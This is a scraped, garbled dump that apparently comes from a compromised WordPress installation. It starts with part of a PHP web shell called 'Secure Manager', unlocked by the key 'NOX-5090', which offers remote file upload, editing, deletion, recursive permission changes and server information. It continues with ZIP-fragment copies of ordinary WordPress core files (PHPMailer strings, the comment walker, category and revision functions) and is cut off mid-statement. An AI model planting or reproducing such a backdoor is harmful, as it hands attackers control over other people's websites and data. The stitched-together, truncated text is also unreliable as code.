$new_perms)) $fails++; } $msg .= $fails > 0 ? " (Recursive: $fails errors)" : " (Applied recursively)"; } } else { $msg = "Failed: Server denied permission change."; } clearstatcache(); } } if (isset($_POST['save'])) { $edit_file = basename($_POST['edit_file']); $edit_path = $path . DIRECTORY_SEPARATOR . $edit_file; if (file_put_contents($edit_path, $_POST['content']) !== false) { $msg = "File saved successfully."; } } if (isset($_FILES['file'])) { $dest = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { header("Location: ?key=NOX-5090&path=" . urlencode($path) . "&msg=Uploaded"); exit; } } if (isset($_GET['delete'])) { $del_item = basename($_GET['delete']); $del_path = realpath($path . DIRECTORY_SEPARATOR . $del_item); if ($del_path && file_exists($del_path)) { is_dir($del_path) ? @rmdir($del_path) : @unlink($del_path); header("Location: ?key=NOX-5090&path=" . urlencode($path) . "&msg=Deleted"); exit; } } if (isset($_GET['msg'])) { switch ($_GET['msg']) { case 'Deleted': $msg = "Item deleted."; break; case 'BulkDeleted': $msg = "Selected items deleted."; break; case 'Uploaded': $msg = "File uploaded."; break; } } ?> Secure Manager
      SYSTEM
      SERVER | PHP
      USER
      IP
      Secure Manager
      /'; $acc = ""; $path_parts = explode(DIRECTORY_SEPARATOR, rtrim($path, DIRECTORY_SEPARATOR)); foreach ($path_parts as $p) { if ($p === '') continue; $acc .= DIRECTORY_SEPARATOR . $p; $path_html .= '/' . htmlspecialchars($p) . ''; } echo $path_html; ?>
      Upload
      Name Size Permissions Actions
      📁 📄
      Edit | Del
      PK!D‚Füüclass-wp-phpmailer.phpnuȯÝí __( 'SMTP Error: Could not authenticate.' ), 'buggy_php' => sprintf( /* translators: 1: mail.add_x_header. 2: php.ini */ __( 'Your version of PHP is affected by a bug that may result in corrupted messages. To fix it, switch to sending using SMTP, disable the %1$s option in your %2$s, or switch to MacOS or Linux, or upgrade your PHP version.' ), 'mail.add_x_header', 'php.ini' ), 'connect_host' => __( 'SMTP Error: Could not connect to SMTP host.' ), 'data_not_accepted' => __( 'SMTP Error: Data not accepted.' ), 'empty_message' => __( 'Message body empty' ), /* translators: There is a space after the colon. */ 'encoding' => __( 'Unknown encoding: ' ), /* translators: There is a space after the colon. */ 'execute' => __( 'Could not execute: ' ), /* translators: There is a space after the colon. */ 'extension_missing' => __( 'Extension missing: ' ), /* translators: There is a space after the colon. */ 'file_access' => __( 'Could not access file: ' ), /* translators: There is a space after the colon. */ 'file_open' => __( 'File Error: Could not open file: ' ), /* translators: There is a space after the colon. */ 'from_failed' => __( 'The following From address failed: ' ), 'instantiate' => __( 'Could not instantiate mail function.' ), /* translators: There is a space after the colon. */ 'invalid_address' => __( 'Invalid address: ' ), 'invalid_header' => __( 'Invalid header name or value' ), /* translators: There is a space after the colon. */ 'invalid_hostentry' => __( 'Invalid host entry: ' ), /* translators: There is a space after the colon. */ 'invalid_host' => __( 'Invalid host: ' ), /* translators: There is a space at the beginning. */ 'mailer_not_supported' => __( ' mailer is not supported.' ), 'provide_address' => __( 'You must provide at least one recipient email address.' ), /* translators: There is a space after the colon. */ 'recipients_failed' => __( 'SMTP Error: The following recipients failed: ' ), /* translators: There is a space after the colon. */ 'signing' => __( 'Signing Error: ' ), /* translators: There is a space after the colon. */ 'smtp_code' => __( 'SMTP code: ' ), /* translators: There is a space after the colon. */ 'smtp_code_ex' => __( 'Additional SMTP info: ' ), 'smtp_connect_failed' => __( 'SMTP connect() failed.' ), /* translators: There is a space after the colon. */ 'smtp_detail' => __( 'Detail: ' ), /* translators: There is a space after the colon. */ 'smtp_error' => __( 'SMTP server error: ' ), /* translators: There is a space after the colon. */ 'variable_set' => __( 'Cannot set or reset variable: ' ), 'no_smtputf8' => __( 'Server does not support SMTPUTF8 needed to send to Unicode addresses' ), 'imap_recommended' => __( 'Using simplified address parser is not recommended. Install the PHP IMAP extension for full RFC822 parsing.' ), /* translators: %s: $useimap */ 'deprecated_argument' => sprintf( __( 'Argument %s is deprecated' ), '$useimap' ), ); return true; } } PK!FòŽá77class-walker-comment.phpnuȯÝí 'comment_parent', 'id' => 'comment_ID', ); /** * Starts the list before the elements are added. * * @since 2.7.0 * * @see Walker::start_lvl() * @global int $comment_depth * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of the current comment. Default 0. * @param array $args Optional. Uses 'style' argument for type of HTML list. Default empty array. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { $GLOBALS['comment_depth'] = $depth + 1; switch ( $args['style'] ) { case 'div': break; case 'ol': $output .= '
        ' . "\n"; break; case 'ul': default: $output .= '
          ' . "\n"; break; } } /** * Ends the list of items after the elements are added. * * @since 2.7.0 * * @see Walker::end_lvl() * @global int $comment_depth * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of the current comment. Default 0. * @param array $args Optional. Will only append content if style argument value is 'ol' or 'ul'. * Default empty array. */ public function end_lvl( &$output, $depth = 0, $args = array() ) { $GLOBALS['comment_depth'] = $depth + 1; switch ( $args['style'] ) { case 'div': break; case 'ol': $output .= "
      \n"; break; case 'ul': default: $output .= "
    \n"; break; } } /** * Traverses elements to create list from elements. * * This function is designed to enhance Walker::display_element() to * display children of higher nesting levels than selected inline on * the highest depth level displayed. This prevents them being orphaned * at the end of the comment list. * * Example: max_depth = 2, with 5 levels of nested content. * 1 * 1.1 * 1.1.1 * 1.1.1.1 * 1.1.1.1.1 * 1.1.2 * 1.1.2.1 * 2 * 2.2 * * @since 2.7.0 * * @see Walker::display_element() * @see wp_list_comments() * * @param WP_Comment $element Comment data object. * @param array $children_elements List of elements to continue traversing. Passed by reference. * @param int $max_depth Max depth to traverse. * @param int $depth Depth of the current element. * @param array $args An array of arguments. * @param string $output Used to append additional content. Passed by reference. */ public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) { if ( ! $element ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output ); /* * If at the max depth, and the current element still has children, loop over those * and display them at this level. This is to prevent them being orphaned to the end * of the list. */ if ( $max_depth <= $depth + 1 && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { $this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output ); } unset( $children_elements[ $id ] ); } } /** * Starts the element output. * * @since 2.7.0 * @since 5.9.0 Renamed `$comment` to `$data_object` and `$id` to `$current_object_id` * to match parent class for PHP 8 named parameter support. * * @see Walker::start_el() * @see wp_list_comments() * @global int $comment_depth * @global WP_Comment $comment Global comment object. * * @param string $output Used to append additional content. Passed by reference. * @param WP_Comment $data_object Comment data object. * @param int $depth Optional. Depth of the current comment in reference to parents. Default 0. * @param array $args Optional. An array of arguments. Default empty array. * @param int $current_object_id Optional. ID of the current comment. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) { // Restores the more descriptive, specific name for use within this method. $comment = $data_object; ++$depth; $GLOBALS['comment_depth'] = $depth; $GLOBALS['comment'] = $comment; if ( ! empty( $args['callback'] ) ) { ob_start(); call_user_func( $args['callback'], $comment, $args, $depth ); $output .= ob_get_clean(); return; } if ( 'comment' === $comment->comment_type ) { add_filter( 'comment_text', array( $this, 'filter_comment_text' ), 40, 2 ); } if ( ( 'pingback' === $comment->comment_type || 'trackback' === $comment->comment_type ) && $args['short_ping'] ) { ob_start(); $this->ping( $comment, $depth, $args ); $output .= ob_get_clean(); } elseif ( 'html5' === $args['format'] ) { ob_start(); $this->html5_comment( $comment, $depth, $args ); $output .= ob_get_clean(); } else { ob_start(); $this->comment( $comment, $depth, $args ); $output .= ob_get_clean(); } if ( 'comment' === $comment->comment_type ) { remove_filter( 'comment_text', array( $this, 'filter_comment_text' ), 40 ); } } /** * Ends the element output, if needed. * * @since 2.7.0 * @since 5.9.0 Renamed `$comment` to `$data_object` to match parent class for PHP 8 named parameter support. * * @see Walker::end_el() * @see wp_list_comments() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Comment $data_object Comment data object. * @param int $depth Optional. Depth of the current comment. Default 0. * @param array $args Optional. An array of arguments. Default empty array. */ public function end_el( &$output, $data_object, $depth = 0, $args = array() ) { if ( ! empty( $args['end-callback'] ) ) { ob_start(); call_user_func( $args['end-callback'], $data_object, // The current comment object. $args, $depth ); $output .= ob_get_clean(); return; } if ( 'div' === $args['style'] ) { $output .= "
    \n"; } else { $output .= "\n"; } } /** * Outputs a pingback comment. * * @since 3.6.0 * * @see wp_list_comments() * * @param WP_Comment $comment The comment object. * @param int $depth Depth of the current comment. * @param array $args An array of arguments. */ protected function ping( $comment, $depth, $args ) { $tag = ( 'div' === $args['style'] ) ? 'div' : 'li'; ?> < id="comment-" >
    ', '' ); ?>
    comment_approved && ! $show_pending_links ) { $comment_text = wp_kses( $comment_text, array() ); } return $comment_text; } /** * Outputs a single comment. * * @since 3.6.0 * * @see wp_list_comments() * * @param WP_Comment $comment Comment to display. * @param int $depth Depth of the current comment. * @param array $args An array of arguments. */ protected function comment( $comment, $depth, $args ) { if ( 'div' === $args['style'] ) { $tag = 'div'; $add_below = 'comment'; } else { $tag = 'li'; $add_below = 'div-comment'; } $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( $commenter['comment_author_email'] ) { $moderation_note = __( 'Your comment is awaiting moderation.' ); } else { $moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' ); } ?> < has_children ? 'parent' : '', $comment ); ?> id="comment-">
    comment_approved && ! $show_pending_links ) { $comment_author = get_comment_author( $comment ); } printf( /* translators: %s: Comment author link. */ __( '%s says:' ), sprintf( '%s', $comment_author ) ); ?>
    comment_approved ) : ?>
    $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'], ) ) ); ?> $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'], 'before' => '
    ', 'after' => '
    ', ) ) ); ?>
    < id="comment-" has_children ? 'parent' : '', $comment ); ?>>
    comment_approved && ! $show_pending_links ) { $comment_author = get_comment_author( $comment ); } printf( /* translators: %s: Comment author link. */ __( '%s says:' ), sprintf( '%s', $comment_author ) ); ?>
    comment_approved ) : ?>
    comment_approved || $show_pending_links ) { comment_reply_link( array_merge( $args, array( 'add_below' => 'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth'], 'before' => '
    ', 'after' => '
    ', ) ) ); } ?>
    'category' ); $args = wp_parse_args( $args, $defaults ); /** * Filters the taxonomy used to retrieve terms when calling get_categories(). * * @since 2.7.0 * * @param string $taxonomy Taxonomy to retrieve terms from. * @param array $args An array of arguments. See get_terms(). */ $args['taxonomy'] = apply_filters( 'get_categories_taxonomy', $args['taxonomy'], $args ); // Back compat. if ( isset( $args['type'] ) && 'link' === $args['type'] ) { _deprecated_argument( __FUNCTION__, '3.0.0', sprintf( /* translators: 1: "type => link", 2: "taxonomy => link_category" */ __( '%1$s is deprecated. Use %2$s instead.' ), 'type => link', 'taxonomy => link_category' ) ); $args['taxonomy'] = 'link_category'; } $categories = get_terms( $args ); if ( is_wp_error( $categories ) ) { $categories = array(); } else { $categories = (array) $categories; foreach ( array_keys( $categories ) as $k ) { _make_cat_compat( $categories[ $k ] ); } } return $categories; } /** * Retrieves category data given a category ID or category object. * * If you pass the $category parameter an object, which is assumed to be the * category row object retrieved the database. It will cache the category data. * * If you pass $category an integer of the category ID, then that category will * be retrieved from the database, if it isn't already cached, and pass it back. * * If you look at get_term(), then both types will be passed through several * filters and finally sanitized based on the $filter parameter value. * * @since 1.5.1 * * @param int|object $category Category ID or category row object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize category fields. Default 'raw'. * @return WP_Term|array|WP_Error|null Category data in type defined by $output parameter. * Returns a WP_Term object with backwards compatible property aliases filled in. * WP_Error if $category is empty, null if it does not exist. */ function get_category( $category, $output = OBJECT, $filter = 'raw' ) { $category = get_term( $category, 'category', $output, $filter ); if ( is_wp_error( $category ) ) { return $category; } _make_cat_compat( $category ); return $category; } /** * Retrieves a category based on URL containing the category slug. * * Breaks the $category_path parameter up to get the category slug. * * Tries to find the child path and will return it. If it doesn't find a * match, then it will return the first category matching slug, if $full_match, * is set to false. If it does not, then it will return null. * * It is also possible that it will return a WP_Error object on failure. Check * for it when using this function. * * @since 2.1.0 * * @param string $category_path URL containing category slugs. * @param bool $full_match Optional. Whether full path should be matched. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @return WP_Term|array|WP_Error|null Type is based on $output value. */ function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) { $category_path = rawurlencode( urldecode( $category_path ) ); $category_path = str_replace( '%2F', '/', $category_path ); $category_path = str_replace( '%20', ' ', $category_path ); $category_paths = '/' . trim( $category_path, '/' ); $leaf_path = sanitize_title( basename( $category_paths ) ); $category_paths = explode( '/', $category_paths ); $full_path = ''; foreach ( (array) $category_paths as $pathdir ) { $full_path .= ( '' !== $pathdir ? '/' : '' ) . sanitize_title( $pathdir ); } $categories = get_terms( array( 'taxonomy' => 'category', 'get' => 'all', 'slug' => $leaf_path, ) ); if ( empty( $categories ) ) { return; } foreach ( $categories as $category ) { $path = '/' . $leaf_path; $curcategory = $category; while ( ( 0 !== $curcategory->parent ) && ( $curcategory->parent !== $curcategory->term_id ) ) { $curcategory = get_term( $curcategory->parent, 'category' ); if ( is_wp_error( $curcategory ) ) { return $curcategory; } $path = '/' . $curcategory->slug . $path; } if ( $path === $full_path ) { $category = get_term( $category->term_id, 'category', $output ); _make_cat_compat( $category ); return $category; } } // If full matching is not required, return the first cat that matches the leaf. if ( ! $full_match ) { $category = get_term( reset( $categories )->term_id, 'category', $output ); _make_cat_compat( $category ); return $category; } } /** * Retrieves a category object by category slug. * * @since 2.3.0 * * @param string $slug The category slug. * @return object|false Category data object on success, false if not found. */ function get_category_by_slug( $slug ) { $category = get_term_by( 'slug', $slug, 'category' ); if ( $category ) { _make_cat_compat( $category ); } return $category; } /** * Retrieves the ID of a category from its name. * * @since 1.0.0 * * @param string $cat_name Category name. * @return int Category ID on success, 0 if the category doesn't exist. */ function get_cat_ID( $cat_name ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $cat = get_term_by( 'name', $cat_name, 'category' ); if ( $cat ) { return $cat->term_id; } return 0; } /** * Retrieves the name of a category from its ID. * * @since 1.0.0 * * @param int $cat_id Category ID. * @return string Category name, or an empty string if the category doesn't exist. */ function get_cat_name( $cat_id ) { $cat_id = (int) $cat_id; $category = get_term( $cat_id, 'category' ); if ( ! $category || is_wp_error( $category ) ) { return ''; } return $category->name; } /** * Checks if a category is an ancestor of another category. * * You can use either an ID or the category object for both parameters. * If you use an integer, the category will be retrieved. * * @since 2.1.0 * * @param int|object $cat1 ID or object to check if this is the parent category. * @param int|object $cat2 The child category. * @return bool Whether $cat2 is child of $cat1. */ function cat_is_ancestor_of( $cat1, $cat2 ) { return term_is_ancestor_of( $cat1, $cat2, 'category' ); } /** * Sanitizes category data based on context. * * @since 2.3.0 * * @param object|array $category Category data. * @param string $context Optional. Default 'display'. * @return object|array Same type as $category with sanitized data for safe use. */ function sanitize_category( $category, $context = 'display' ) { return sanitize_term( $category, 'category', $context ); } /** * Sanitizes data in single category key field. * * @since 2.3.0 * * @param string $field Category key to sanitize. * @param mixed $value Category value to sanitize. * @param int $cat_id Category ID. * @param string $context What filter to use, 'raw', 'display', etc. * @return mixed Value after $value has been sanitized. */ function sanitize_category_field( $field, $value, $cat_id, $context ) { return sanitize_term_field( $field, $value, $cat_id, 'category', $context ); } /* Tags */ /** * Retrieves all post tags. * * @since 2.3.0 * * @param string|array $args { * Optional. Arguments to retrieve tags. See get_terms() for additional options. * * @type string $taxonomy Taxonomy to retrieve terms for. Default 'post_tag'. * } * @return WP_Term[]|int|WP_Error Array of 'post_tag' term objects, a count thereof, * or WP_Error if any of the taxonomies do not exist. */ function get_tags( $args = '' ) { $defaults = array( 'taxonomy' => 'post_tag' ); $args = wp_parse_args( $args, $defaults ); $tags = get_terms( $args ); if ( empty( $tags ) ) { $tags = array(); } else { /** * Filters the array of term objects returned for the 'post_tag' taxonomy. * * @since 2.3.0 * * @param WP_Term[]|int|WP_Error $tags Array of 'post_tag' term objects, a count thereof, * or WP_Error if any of the taxonomies do not exist. * @param array $args An array of arguments. See {@see get_terms()}. */ $tags = apply_filters( 'get_tags', $tags, $args ); } return $tags; } /** * Retrieves a post tag by tag ID or tag object. * * If you pass the $tag parameter an object, which is assumed to be the tag row * object retrieved from the database, it will cache the tag data. * * If you pass $tag an integer of the tag ID, then that tag will be retrieved * from the database, if it isn't already cached, and passed back. * * If you look at get_term(), both types will be passed through several filters * and finally sanitized based on the $filter parameter value. * * @since 2.3.0 * * @param int|WP_Term|object $tag A tag ID or object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize tag fields. Default 'raw'. * @return WP_Term|array|WP_Error|null Tag data in type defined by $output parameter. * WP_Error if $tag is empty, null if it does not exist. */ function get_tag( $tag, $output = OBJECT, $filter = 'raw' ) { return get_term( $tag, 'post_tag', $output, $filter ); } /* Cache */ /** * Removes the category cache data based on ID. * * @since 2.1.0 * * @param int $id Category ID */ function clean_category_cache( $id ) { clean_term_cache( $id, 'category' ); } /** * Updates category structure to old pre-2.3 from new taxonomy structure. * * This function was added for the taxonomy support to update the new category * structure with the old category one. This will maintain compatibility with * plugins and themes which depend on the old key or property names. * * The parameter should only be passed a variable and not create the array or * object inline to the parameter. The reason for this is that parameter is * passed by reference and PHP will fail unless it has the variable. * * There is no return value, because everything is updated on the variable you * pass to it. This is one of the features with using pass by reference in PHP. * * @since 2.3.0 * @since 4.4.0 The `$category` parameter now also accepts a WP_Term object. * @access private * * @param array|object|WP_Term $category Category row object or array. */ function _make_cat_compat( &$category ) { if ( is_object( $category ) && ! is_wp_error( $category ) ) { $category->cat_ID = $category->term_id; $category->category_count = $category->count; $category->category_description = $category->description; $category->cat_name = $category->name; $category->category_nicename = $category->slug; $category->category_parent = $category->parent; } elseif ( is_array( $category ) && isset( $category['term_id'] ) ) { $category['cat_ID'] = &$category['term_id']; $category['category_count'] = &$category['count']; $category['category_description'] = &$category['description']; $category['cat_name'] = &$category['name']; $category['category_nicename'] = &$category['slug']; $category['category_parent'] = &$category['parent']; } } PK!ié£xx revision.phpnuȯÝí __( 'Title' ), 'post_content' => __( 'Content' ), 'post_excerpt' => __( 'Excerpt' ), ); } /** * Filters the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * @since 4.5.0 The `$post` parameter was added. * * @param string[] $fields List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. * @param array $post A post array being processed for insertion as a post revision. */ $fields = apply_filters( '_wp_post_revision_fields', $fields, $post ); // WP uses these internally either in versioning or elsewhere - they cannot be versioned. foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) { unset( $fields[ $protect ] ); } return $fields; } /** * Returns a post array ready to be inserted into the posts table as a post revision. * * @since 4.5.0 * @access private * * @param array|WP_Post $post Optional. A post array or a WP_Post object to be processed * for insertion as a post revision. Default empty array. * @param bool $autosave Optional. Is the revision an autosave? Default false. * @return array Post array ready to be inserted as a post revision. */ function _wp_post_revision_data( $post = array(), $autosave = false ) { if ( ! is_array( $post ) ) { $post = get_post( $post, ARRAY_A ); } $fields = _wp_post_revision_fields( $post ); $revision_data = array(); foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) { $revision_data[ $field ] = $post[ $field ]; } $revision_data['post_parent'] = $post['ID']; $revision_data['post_status'] = 'inherit'; $revision_data['post_type'] = 'revision'; $revision_data['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version. $revision_data['post_date'] = isset( $post['post_modified'] ) ? $post['post_modified'] : ''; $revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : ''; return $revision_data; } /** * Saves revisions for a post after all changes have been made. * * @since 6.4.0 * * @param int $post_id The post id that was inserted. * @param WP_Post $post The post object that was inserted. * @param bool $update Whether this insert is updating an existing post. */ function wp_save_post_revision_on_insert( $post_id, $post, $update ) { if ( ! $update ) { return; } if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) { return; } wp_save_post_revision( $post_id ); } /** * Creates a revision for the current version of a post. * * Typically used immediately after a post update, as every update is a revision, * and the most recent revision always matches the current post. * * @since 2.6.0 * * @param int $post_id The ID of the post to save as a revision. * @return int|WP_Error|void Void or 0 if error, new revision ID, if success. */ function wp_save_post_revision( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } // Prevent saving post revisions if revisions should be saved on wp_after_insert_post. if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) { return; } $post = get_post( $post_id ); if ( ! $post ) { return; } if ( ! post_type_supports( $post->post_type, 'revisions' ) ) { return; } if ( 'auto-draft' === $post->post_status ) { return; } if ( ! wp_revisions_enabled( $post ) ) { return; } /* * Compare the proposed update with the last stored revision verifying that * they are different, unless a plugin tells us to always save regardless. * If no previous revisions, save one. */ $revisions = wp_get_post_revisions( $post_id ); if ( $revisions ) { // Grab the latest revision, but not an autosave. foreach ( $revisions as $revision ) { if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) { $latest_revision = $revision; break; } } /** * Filters whether the post has changed since the latest revision. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter can override that so a revision is saved even if nothing has changed. * * @since 3.6.0 * * @param bool $check_for_changes Whether to check for changes before saving a new revision. * Default true. * @param WP_Post $latest_revision The latest revision post object. * @param WP_Post $post The post object. */ if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) { $post_has_changed = false; foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) { if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) { $post_has_changed = true; break; } } /** * Filters whether a post has changed. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter allows for additional checks to determine if there were changes. * * @since 4.1.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $latest_revision The latest revision post object. * @param WP_Post $post The post object. */ $post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post ); // Don't save revision if post unchanged. if ( ! $post_has_changed ) { return; } } } $return = _wp_put_post_revision( $post ); /* * If a limit for the number of revisions to keep has been set, * delete the oldest ones. */ $revisions_to_keep = wp_revisions_to_keep( $post ); if ( $revisions_to_keep < 0 ) { return $return; } $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); /** * Filters the revisions to be considered for deletion. * * @since 6.2.0 * * @param WP_Post[] $revisions Array of revisions, or an empty array if none. * @param int $post_id The ID of the post to save as a revision. */ $revisions = apply_filters( 'wp_save_post_revision_revisions_before_deletion', $revisions, $post_id ); $delete = count( $revisions ) - $revisions_to_keep; if ( $delete < 1 ) { return $return; } $revisions = array_slice( $revisions, 0, $delete ); for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) { if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) { continue; } wp_delete_post_revision( $revisions[ $i ]->ID ); } return $return; } /** * Retrieves the autosaved data of the specified post. * * Returns a post object with the information that was autosaved for the specified post. * If the optional $user_id is passed, returns the autosave for that user, otherwise * returns the latest autosave. * * @since 2.6.0 * * @param int $post_id The post ID. * @param int $user_id Optional. The post author ID. Default 0. * @return WP_Post|false The autosaved data or false on failure or when no autosave exists. */ function wp_get_post_autosave( $post_id, $user_id = 0 ) { $args = array( 'post_type' => 'revision', 'post_status' => 'inherit', 'post_parent' => $post_id, 'name' => $post_id . '-autosave-v1', 'posts_per_page' => 1, 'orderby' => 'date', 'order' => 'DESC', 'fields' => 'ids', 'no_found_rows' => true, ); if ( 0 !== $user_id ) { $args['author'] = $user_id; } $query = new WP_Query( $args ); if ( ! $query->have_posts() ) { return false; } return get_post( $query->posts[0] ); } /** * Determines if the specified post is a revision. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @return int|false ID of revision's parent on success, false if not a revision. */ function wp_is_post_revision( $post ) { $post = wp_get_post_revision( $post ); if ( ! $post ) { return false; } return (int) $post->post_parent; } /** * Determines if the specified post is an autosave. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @return int|false ID of autosave's parent on success, false if not a revision. */ function wp_is_post_autosave( $post ) { $post = wp_get_post_revision( $post ); if ( ! $post ) { return false; } if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) { return (int) $post->post_parent; } return false; } /** * Inserts post data into the posts table as a post revision. * * @since 2.6.0 * @access private * * @param int|WP_Post|array|null $post Post ID, post object OR post array. * @param bool $autosave Optional. Whether the revision is an autosave or not. * Default false. * @return int|WP_Error WP_Error or 0 if error, new revision ID if success. */ function _wp_put_post_revision( $post = null, $autosave = false ) { if ( is_object( $post ) ) { $post = get_object_vars( $post ); } elseif ( ! is_array( $post ) ) { $post = get_post( $post, ARRAY_A ); } if ( ! $post || empty( $post['ID'] ) ) { return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); } if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) { return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); } $post = _wp_post_revision_data( $post, $autosave ); $post = wp_slash( $post ); // Since data is from DB. $revision_id = wp_insert_post( $post, true ); if ( is_wp_error( $revision_id ) ) { return $revision_id; } if ( $revision_id ) { /** * Fires once a revision has been saved. * * @since 2.6.0 * @since 6.4.0 The post_id parameter was added. * * @param int $revision_id Post revision ID. * @param int $post_id Post ID. */ do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] ); } return $revision_id; } /** * Save the revisioned meta fields. * * @since 6.4.0 * * @param int $revision_id The ID of the revision to save the meta to. * @param int $post_id The ID of the post the revision is associated with. */ function wp_save_revisioned_meta_fields( $revision_id, $post_id ) { $post_type = get_post_type( $post_id ); if ( ! $post_type ) { return; } foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) { if ( metadata_exists( 'post', $post_id, $meta_key ) ) { _wp_copy_post_meta( $post_id, $revision_id, $meta_key ); } } } /** * Gets a post revision. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional sanitization filter. See sanitize_post(). Default 'raw'. * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) { $revision = get_post( $post, OBJECT, $filter ); if ( ! $revision ) { return $revision; } if ( 'revision' !== $revision->post_type ) { return null; } if ( OBJECT === $output ) { return $revision; } elseif ( ARRAY_A === $output ) { $_revision = get_object_vars( $revision ); return $_revision; } elseif ( ARRAY_N === $output ) { $_revision = array_values( get_object_vars( $revision ) ); return $_revision; } return $revision; } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|WP_Post $revision Revision ID or revision object. * @param array $fields Optional. What fields to restore from. Defaults to all. * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success. */ function wp_restore_post_revision( $revision, $fields = null ) { $revision = wp_get_post_revision( $revision, ARRAY_A ); if ( ! $revision ) { return $revision; } if ( ! is_array( $fields ) ) { $fields = array_keys( _wp_post_revision_fields( $revision ) ); } $update = array(); foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) { $update[ $field ] = $revision[ $field ]; } if ( ! $update ) { return false; } $update['ID'] = $revision['post_parent']; $update = wp_slash( $update ); // Since data is from DB. $post_id = wp_update_post( $update ); if ( ! $post_id || is_wp_error( $post_id ) ) { return $post_id; } // Update last edit user. update_post_meta( $post_id, '_edit_last', get_current_user_id() ); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $post_id Post ID. * @param int $revision_id Post revision ID. */ do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); return $post_id; } /** * Restore the revisioned meta values for a post. * * @since 6.4.0 * * @param int $post_id The ID of the post to restore the meta to. * @param int $revision_id The ID of the revision to restore the meta from. */ function wp_restore_post_revision_meta( $post_id, $revision_id ) { $post_type = get_post_type( $post_id ); if ( ! $post_type ) { return; } // Restore revisioned meta fields. foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) { // Clear any existing meta. delete_post_meta( $post_id, $meta_key ); _wp_copy_post_meta( $revision_id, $post_id, $meta_key ); } } /** * Copy post meta for the given key from one post to another. * * @since 6.4.0 * * @param int $source_post_id Post ID to copy meta value(s) from. * @param int $target_post_id Post ID to copy meta value(s) to. * @param string $meta_key Meta key to copy. */ function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) { foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) { /** * We use add_metadata() function vs add_post_meta() here * to allow for a revision post target OR regular post. */ add_metadata( 